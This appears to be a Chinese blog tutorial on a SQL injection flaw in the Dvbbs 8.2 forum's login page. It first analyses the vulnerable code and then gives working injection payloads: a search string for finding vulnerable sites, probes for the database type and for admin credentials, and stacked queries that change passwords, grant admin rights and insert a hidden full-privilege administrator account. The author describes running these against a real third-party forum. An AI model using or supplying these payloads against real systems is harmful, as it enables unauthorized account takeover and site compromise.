[重要通告]如您遇疑難雜癥,本站支持知識(shí)付費(fèi)業(yè)務(wù),掃右邊二維碼加博主微信,可節(jié)省您寶貴時(shí)間哦!

dvbbs8.2漏洞補(bǔ)下載地址:

http://bbs.dvbbs.net/dispbbs.asp?boardid=8&;Id=1519564

緊急安全補(bǔ)丁0530
dvbbs8.2漏洞的產(chǎn)生

login.asp 這個(gè)文件的97行Function Dvbbs_ChkLogin 開(kāi)始有以下代碼：

username=trim(Dvbbs.CheckStr(request("username")))

而passport和username是用戶輸入的。

Public Function Checkstr(Str)
If Isnull(Str) Then
CheckStr = ""
Exit Function
End If
Str = Replace(Str,Chr(0),"")
CheckStr = Replace(Str,"'","''")
End Function

動(dòng)網(wǎng)用Checkstr進(jìn)行處理。

當(dāng)我們輸入111'，request("username")是111%27

Dvbbs.CheckStr(request("passport"))以后還是111%27
If ajaxPro Then username = unescape(username)

username就變成了111'

所以，【'】符號(hào)并沒(méi)有過(guò)濾掉，漏洞就產(chǎn)生了。
------------------------------------------------
搜索:Powered By Dvbbs Version 8.2.0 有很多用存在這樣漏洞的BBS
對(duì)于新手,分析過(guò)程比較復(fù)雜,特別是語(yǔ)句的組合,看了我的這個(gè)教程,基本上在一分鐘之內(nèi)就可以搞定.
admin' and '1'='1 用戶名或者密碼不正確.
admin' and '1'='2 本論壇不存在該用戶名.
判斷數(shù)據(jù)庫(kù)類型:
;and (select count(*) from sysobjects)>0
;and (select count(*) from msysobjects)>0

admin' and 1=(select count(*) from dv_admin where left(username,1)='a') and '1'='1

admin' and 1=(select count(*) from dv_admin where left(password,1)='a') and '1'='1

' and (select @@version)>0--

' and (select is_srvrolemember('sysadmin'))>0--
' and (select IS_MEMBER('db_owner'))>0--

49ba59abbe56e057=123456
';update dv_user set password='49ba59abbe56e057' where username='sishui'--

';update dv_user set usergroupid=1 where username='sishui'--

bugtest';insert into dv_user (username,userpassword,usergroupid) values('sishui','49ba59abbe56e057','1')--

bugtest';insert into dv_admin (username,password,flag,adduser) values('sishui','49ba59abbe56e057','1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45','sishui')--

為了省時(shí)間我就直接先找了個(gè)論壇測(cè)試，大家看操作就好，我們來(lái)到登陸頁(yè)面，這句話的意思就是在這個(gè)論壇里加入一個(gè)管理?yè)碜o(hù)， 我擁護(hù)名為sishui 密碼為123456 密碼是加密的， 我們來(lái)看看 下面的密碼隨便輸入 ，這個(gè)意思就是代表成功了，我們來(lái)登陸看看，看見(jiàn)了吧， 呵呵， 我們?cè)趤?lái)進(jìn)后臺(tái)不成功， 為什么呢， 應(yīng)為剛剛我加入的是論壇管理， 沒(méi)有提到后臺(tái)管理，下面我們?cè)趤?lái)用代碼，提到后臺(tái)管理權(quán)限，我們來(lái)看代碼 意思就是把他的權(quán)限全部提升到45 ，我們來(lái)試試，好了，我們?cè)诘顷懣矗覀冞M(jìn)來(lái)了，呵呵，。 好了就這樣...........

問(wèn)題未解決？付費(fèi)解決問(wèn)題加Q或微信 2589053300 (即Q號(hào)又微信號(hào))右上方掃一掃可加博主微信

所寫(xiě)所說(shuō)，是心之所感，思之所悟，行之所得；文當(dāng)無(wú)敷衍，落筆求簡(jiǎn)潔。 以所舍，求所獲；有所依，方所成！